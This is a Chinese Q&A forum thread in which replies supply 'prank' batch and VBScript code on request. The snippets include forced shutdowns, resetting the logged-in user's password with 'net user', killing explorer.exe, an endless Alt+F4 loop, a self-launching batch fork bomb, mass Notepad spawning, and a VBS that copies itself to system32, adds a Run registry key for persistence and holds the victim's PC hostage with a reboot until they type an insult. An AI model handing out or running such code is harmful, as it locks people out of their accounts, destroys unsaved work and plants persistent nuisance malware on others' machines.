整人代码

楼主的VB是VBS把
先说批处理、
1.掉qq
taskkill /im qq.exe /f /t
2.10秒强制关机（任务管理器无效）
shutdown -s -t 10
3.死机
start cmd
0%
4.设置登录密码为2097152
net user "%username%" 2097152
5.让电脑只剩一个背景
taskkill /im /f /t explorer.exe

VBS的
1.莫名其妙结束当前程序
set ws=createobject("wscript.shell")
do
ws.sendkeys "%{f4}"
loop

2.不断提示你是猪
do
msgbox("你是猪")
loop

这些够了不？

n error resume next
Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪，不说我是猪就半分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪哦,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

另存为ceshi.vbs就行。

写代码多费劲啊 还不如直接找现成的整人软件呢 我给你几个整人软件
http://wuyukjz.lingd.net/list-846755-1.html去这个网址下吧
好多好玩的软件

你是学什么语言的
不同的语言代码不同

给个bat的

创建一个a.bat
在里面输入 start a.bat

VB的不会写。

可以hi我

dim a,s

set wshshell=createobject("wscript.shell")

a=0

do

wshshell.run"notepad"

a=a+1

if a>9999 then

exit do

end if

loop

将文本设为 病毒.vds